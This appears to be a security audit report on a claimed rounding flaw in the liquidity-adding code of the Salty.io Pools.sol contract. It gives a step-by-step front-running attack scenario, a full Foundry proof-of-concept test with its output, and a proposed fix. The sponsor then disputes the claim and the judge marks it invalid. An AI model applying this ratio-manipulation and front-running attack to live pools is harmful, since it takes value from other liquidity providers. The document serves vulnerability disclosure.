Rounding loophole while adding liquidity can be exploited to steal value

[c4-bot-1]

Lines of code

https://github.com/othernet-global/salty-io/blob/main/src/pools/Pools.sol#L121-L136

Vulnerability details

Summary

The rounding operations done here inside the function _addLiquidity() allow a malicious user to manipulate token ratio using only depositLiquidityAndIncreaseShare(), eventually gaining value and causing loss to other liquidity providers.

  File: src/pools/Pools.sol

  121:                          // Add liquidity to the pool proportional to the current existing token reserves in the pool.
  122:                          // First, try the proportional amount of tokenB for the given maxAmountA
  123: @--->                    uint256 proportionalB = ( maxAmount0 * reserve1 ) / reserve0;
  124:          
  125:                          // proportionalB too large for the specified maxAmountB?
  126:                          if ( proportionalB > maxAmount1 )
  127:                                  {
  128:                                  // Use maxAmountB and a proportional amount for tokenA instead
  129:                                  addedAmount0 = ( maxAmount1 * reserve0 ) / reserve1;
  130:                                  addedAmount1 = maxAmount1;
  131:                                  }
  132:                          else
  133:                                  {
  134: @--->                            addedAmount0 = maxAmount0;
  135:                                  addedAmount1 = proportionalB;
  136:                                  }

By having a quick look at the old code, it seems this exact vulnerability was present there too, although the exact numbers will be a bit different than those shown below because the amount of liquidity shares were calculated a bit differently.

Description

Salty's AAA logic makes it difficult to manipulate token ratios via swaps as the profits of such an attack are eaten away by internal atomic arbs. However, the ratios can still be manipulated to an extent while adding liquidity, which escape atomic arbs. Slippage parameters provided by other liquidity providers give a degree of wiggle room to make this possible.

Attack Scenario:

• In a pool of token1 and token2, the fair ratio to be maintained for token1:token2 is 1:10. One can imagine that 1 wei of token1 = $10 and 1 wei of token2 = $1.
• The first depositor, Alice calls depositLiquidityAndIncreaseShare(token, token2, 101, 1010, 101, 1010, 1111, block.timestamp, false) to deposit 101 wei and 1010 wei of the tokens with proper slippage parameters. She gets 101 + 1010 = 1111 shares.
• The second depositor, Charlie calls depositLiquidityAndIncreaseShare( token1, token2, 101 ether, 1010 ether, 99.99 ether, 1010 ether, 1109.99 ether, block.timestamp, false ) to attempt a deposit of 101 ether & 1010 ether. He understands that in a dynamic market various swaps might be happening at the same time, effecting the price ratios, hence provides a slippage of around 1% for token1 by specifying minimum token1 as 99.99 ether and minimum shares as 1109.99. He does not tolerate any slippage for token2.
• Assume Bob to have 3 alternate accounts apart from his main one. Let's name them Bob2, Bob3 and Bob4. Multiple accounts are being used to get around the 1-hour cooldown period.
• Bob front runs Charlie and calls depositLiquidityAndIncreaseShare() four times with varying amounts:
  • Deposit-1 : From his main account, he calls depositLiquidityAndIncreaseShare( token1, token2, 101, 1019, 0, 0, 0, block.timestamp, false ) to add 101 and 1019 of token1 and token2 respectively. Note how Bob deposited additional 9 wei of token2, hence receiving 9 extra shares. Bob was allowed to deposit 1019 wei of token2 instead of 1010 wei because proportionalB is calculated on L123 by rounding down. However, L134 still uses maxAmount0 i.e. 1019.
  • Deposit-2 : From Bob2 account, he calls depositLiquidityAndIncreaseShare( token1, token2, 101, 1024, 0, 0, 0, block.timestamp, false ) to add 101 and 1024 of token1 and token2 respectively.
  • Deposit-3 : From Bob3 account, he calls depositLiquidityAndIncreaseShare( token1, token2, 101, 1027, 0, 0, 0, block.timestamp, false ) to add 101 and 1027 of token1 and token2 respectively.
  • Deposit-4 : From Bob4 account, he calls depositLiquidityAndIncreaseShare( token1, token2, 101, 1021, 0, 0, 0, block.timestamp, false ) to add 101 and 1021 of token1 and token2 respectively.
• Bob has spent a total of 404 token1 and 4091 token2 so far i.e. 10 * 404 + 1 * 4091 = $8131.
• The ratios have now been skewed to equal 505 : 5101 which makes token1 appear costlier than the original ratio of 1 : 10.
• Charlie's transaction goes through after Bob's transaction. Due to the modified ratio Charlie now receives 1109990198000392079984 shares and not all his tokens are deposited. His slippage parameters were invoked.
• Bob now swaps 1 ether of token1 for token2. He calls depositSwapWithdraw(token1, token2, 1 ether, 0, block.timestamp) and receives 10000970589205883324 of token2, higher than the market return of 10 ether. His profit here is $970589205883324.
• After an hour, Bob now withdraws his entire 4495 liquidity shares across all his accounts to be credited with 408 token1 and 4049 token2 i.e 10 * 408 + 1 * 4049 = $8129. He lost 8131 - 8129 = $2 here.

Bob's final profit is 970589205883324 - 2 = $970589205883322.

Impact

• Bob steals value at the expense of other liquidity providers.

Proof of Concept

Click to view PoC

Create a new file `src/staking/tests/LPManipulation.t.sol` with the following code and run via `COVERAGE="yes" NETWORK="sep" forge test -vv --rpc-url https://rpc.ankr.com/eth_sepolia --mt test_t0x1c_LPManipulation`: ```js // SPDX-License-Identifier: Unlicensed pragma solidity =0.8.22; import "../../dev/Deployment.sol"; contract LPManipulation is Deployment { bytes32[] public poolIDs; bytes32 public pool1; IERC20 public token1; IERC20 public token2; address public constant alice = address(0x1111); address public constant bob = address(0x2222); address public constant charlie = address(0x3333); uint256 token1DecimalPrecision; uint256 token2DecimalPrecision; function setUp() public { // If $COVERAGE=yes, create an instance of the contract so that coverage testing can work // Otherwise, what is tested is the actual deployed contract on the blockchain (as specified in Deployment.sol) if ( keccak256(bytes(vm.envString("COVERAGE" ))) == keccak256(bytes("yes" ))) initializeContracts(); grantAccessAlice(); grantAccessBob(); grantAccessCharlie(); grantAccessDeployer(); grantAccessDefault(); finalizeBootstrap(); vm.prank(address(daoVestingWallet)); salt.transfer(DEPLOYER, 1000000 ether); token1DecimalPrecision = 18; token2DecimalPrecision = 18; token1 = new TestERC20("TEST", token1DecimalPrecision); token2 = new TestERC20("TEST", token2DecimalPrecision); pool1 = PoolUtils._poolID(token1, token2); poolIDs = new bytes32[](1); poolIDs[0] = pool1; // Whitelist the _pools vm.startPrank( address(dao) ); poolsConfig.whitelistPool(token1, token2); vm.stopPrank(); vm.prank(DEPLOYER); salt.transfer( address(this), 100000 ether ); salt.approve(address(liquidity), type(uint256).max); vm.startPrank(alice); token1.approve(address(liquidity), type(uint256).max); token2.approve(address(liquidity), type(uint256).max); vm.stopPrank(); vm.startPrank(bob); token1.approve(address(liquidity), type(uint256).max); token2.approve(address(liquidity), type(uint256).max); token1.approve(address(pools), type(uint256).max); token2.approve(address(pools), type(uint256).max); vm.stopPrank(); vm.startPrank(charlie); token1.approve(address(liquidity), type(uint256).max); token2.approve(address(liquidity), type(uint256).max); token1.approve(address(pools), type(uint256).max); token2.approve(address(pools), type(uint256).max); vm.stopPrank(); // DAO gets some salt and pool lps and approves max to staking token1.transfer(address(dao), 1000 * 10**token1DecimalPrecision); token2.transfer(address(dao), 1000 * 10**token2DecimalPrecision); vm.startPrank(address(dao)); token1.approve(address(liquidity), type(uint256).max); token2.approve(address(liquidity), type(uint256).max); vm.stopPrank(); } // Convenience function function totalSharesForPool( bytes32 poolID ) public view returns (uint256) { bytes32[] memory _pools2 = new bytes32[](1); _pools2[0] = poolID; return liquidity.totalSharesForPools(_pools2)[0]; } function test_t0x1c_LPManipulation() public { // ******************************* SETUP ************************************** // Give Alice, Bob & Charlie some tokens for testing token1.transfer(alice, 101); token2.transfer(alice, 1010); token1.transfer(bob, 404 + 1 ether); token2.transfer(bob, 4091); token1.transfer(charlie, 101 ether); token2.transfer(charlie, 1010 ether); assertEq(totalSharesForPool( pool1 ), 0, "Pool should initially have zero liquidity share" ); assertEq(liquidity.userShareForPool(alice, pool1), 0, "Bob's initial liquidity share should be zero"); assertEq(liquidity.userShareForPool(bob, pool1), 0, "Bob's initial liquidity share should be zero"); assertEq(liquidity.userShareForPool(charlie, pool1), 0, "Charlie's initial liquidity share should be zero"); assertEq( token1.balanceOf( address(pools)), 0, "liquidity should start with zero token1" ); assertEq( token2.balanceOf( address(pools)), 0, "liquidity should start with zero token2" ); // deposit ratio of 1:10 i.e token1's price is 10 times that of token2 uint256 addedAmount1 = 101; uint256 addedAmount2 = 1010; // Alice adds liquidity in the correct ratio, as the first depositor vm.prank(alice); uint256 addedLiquidityAlice = liquidity.depositLiquidityAndIncreaseShare( token1, token2, addedAmount1, addedAmount2, addedAmount1, addedAmount2, addedAmount1 + addedAmount2, block.timestamp, false ); console.log("addedLiquidityAlice =", addedLiquidityAlice); assertEq(liquidity.userShareForPool(alice, pool1), addedLiquidityAlice, "Alice's share should have increased" ); assertEq( token1.balanceOf( address(pools)), addedAmount1, "Tokens were not deposited into the pool as expected" ); assertEq( token2.balanceOf( address(pools)), addedAmount2, "Tokens were not deposited into the pool as expected" ); assertEq(totalSharesForPool( pool1 ), addedLiquidityAlice, "totalShares mismatch after Alice's deposit" ); // ******************************* SETUP ENDS ************************************** console.log("\n\n***************************** Bob Attacks ************************************\n"); // @audit : Bob front-runs Charlie & adds liquidity while exploiting the rounding error vm.startPrank(bob); uint256 totalLiquidityBob = 0; // Bob's account uint256 addedLiquidityBob = liquidity.depositLiquidityAndIncreaseShare( token1, token2, addedAmount1, 1019, 0, 0, 0, block.timestamp, false ); console.log("addedLiquidityBob_1 =", addedLiquidityBob); totalLiquidityBob += addedLiquidityBob; skip(1 hours); // just for PoC, not needed in real attack // Bob's 2nd account addedLiquidityBob = liquidity.depositLiquidityAndIncreaseShare( token1, token2, addedAmount1, 1024, 0, 0, 0, block.timestamp, false ); console.log("addedLiquidityBob_2 =", addedLiquidityBob); totalLiquidityBob += addedLiquidityBob; skip(1 hours); // just for PoC, not needed in real attack // Bob's 3rd account addedLiquidityBob = liquidity.depositLiquidityAndIncreaseShare( token1, token2, addedAmount1, 1027, 0, 0, 0, block.timestamp, false ); console.log("addedLiquidityBob_3 =", addedLiquidityBob); totalLiquidityBob += addedLiquidityBob; skip(1 hours); // just for PoC, not needed in real attack // Bob's 4th account addedLiquidityBob = liquidity.depositLiquidityAndIncreaseShare( token1, token2, addedAmount1, 1021, 0, 0, 0, block.timestamp, false ); console.log("addedLiquidityBob_4 =", addedLiquidityBob); totalLiquidityBob += addedLiquidityBob; skip(1 hours); // just for PoC, not needed in real attack console.log("Bob total liquidity shares =", totalLiquidityBob); console.log("Tokens spent by Bob: token1 = %s, token2 = %s", 101 * 4, 1019 + 1024 + 1027 + 1021); vm.stopPrank(); console.log("\nSkewed reserve ratio now:\n token1 = %s, token2 = %s\n", token1.balanceOf(address(pools)), token2.balanceOf(address(pools))); // Charlie transaction goes through now which adds liquidity with suitable slippage parameters vm.prank(charlie); // @audit-info : 1% slippage for token1 uint256 addedLiquidityCharlie = liquidity.depositLiquidityAndIncreaseShare( token1, token2, 101 ether, 1010 ether, 99.99 ether, 1010 ether, 1109.99 ether, block.timestamp, false ); console.log("addedLiquidityCharlie = %s\n", addedLiquidityCharlie); vm.prank(bob); // Bob swaps (uint256 swappedOut) = pools.depositSwapWithdraw(token1, token2, 1 ether, 0, block.timestamp); emit log_named_decimal_uint("token2 swappedOut in exchange for 1 ether of token1 (should be greater than 10 ether) =", swappedOut, 18); // Bob withdraws all his shares after an hour skip(1 hours); vm.prank(bob); (uint256 token1ReceivedByBob, uint256 token2ReceivedByBob) = liquidity.withdrawLiquidityAndClaim(token1, token2, totalLiquidityBob, 0, 0, block.timestamp); console.log("token1ReceivedByBob = %s, token2ReceivedByBob = %s", token1ReceivedByBob, token2ReceivedByBob); } } ```

Output:

[PASS] test_t0x1c_LPManipulation() (gas: 1238118)
Logs:
  addedLiquidityAlice = 1111

***************************** Bob Attacks ************************************

  addedLiquidityBob_1 = 1120

  addedLiquidityBob_2 = 1125

  addedLiquidityBob_3 = 1128

  addedLiquidityBob_4 = 1122

  Bob total liquidity shares = 4495
  Tokens spent by Bob: token1 = 404, token2 = 4091

Skewed reserve ratio now:
 token1 = 505, token2 = 5101

  addedLiquidityCharlie = 1109990198000392079984

  token2 swappedOut in exchange for 1 ether of token1 (should be greater than 10 ether) =: 10.000970589205883324
  token1ReceivedByBob = 408, token2ReceivedByBob = 4049

Recommended Mitigation Steps

Do a "reverse-calculation" to make sure additional tokens are not being added and the correct ratio is being maintained:

        // Add liquidity to the pool proportional to the current existing token reserves in the pool.
        // First, try the proportional amount of tokenB for the given maxAmountA
        uint256 proportionalB = ( maxAmount0 * reserve1 ) / reserve0;

        // proportionalB too large for the specified maxAmountB?
        if ( proportionalB > maxAmount1 )
            {
            // Use maxAmountB and a proportional amount for tokenA instead
            addedAmount0 = ( maxAmount1 * reserve0 ) / reserve1;
            addedAmount1 = maxAmount1;
            }
        else
            {
-           addedAmount0 = maxAmount0;
+           addedAmount0 = ( proportionalB * reserve0 ) / reserve1;
            addedAmount1 = proportionalB;
            }

The above change now makes it impossible to manipulate ratios via skewed deposits. One can run the PoC again to verify.

Assessed type

Math

[Picodes]

In both this report and #126, the users being targeted use non 0 slippage parameters and it seems to me that the warden is describing a classic sandwich attack where the pool price is manipulated.

[t0x1cC0de]

You are quite right in saying that this is a sandwich attack. However a typical sandwich attack is already mitigated to a large extent by protocol's AAA as well as limit of 'one swap per block'. The protocol has also taken specific steps like

• calculating proportionalB or the correct deposit ratio,
• calculating reclaimedA as well as reclaimedB or the correct withdrawal ratio to stop deposits from skewing the reserve ratios. But they fail, as shown in the 2 reports.

Both this report and #126 show a non-typical sandwich attack - and how precision errors are allowing to circumvent all such restrictions imposed by the protocol.

With the current safeguards of Salty.io, the slippage limit by Charlie is under the assumption of "real" market movement/price fluctuations. These reports show how it's not the case and how he is being exploited.

[othernet-global]

Similarly to #126, it is okay if Charlie deposits less than the expected amount of tokens and received a less (but proportional) amount of liquidity.

Charlie starts with 101 token1 and 1010 token2. Say each token1 is worth $10 and each token2 worth $1. So, charlie starts with $2020 worth of tokens.

After the the attack charlie can withdraw all liquidity and have the following: token1: 101.999999999999999995 token2: 999.999029410794116728

This is worth $2019.999 which is acceptable.

[c4-sponsor]

othernet-global (sponsor) disputed

[c4-judge]

Picodes marked the issue as unsatisfactory: Invalid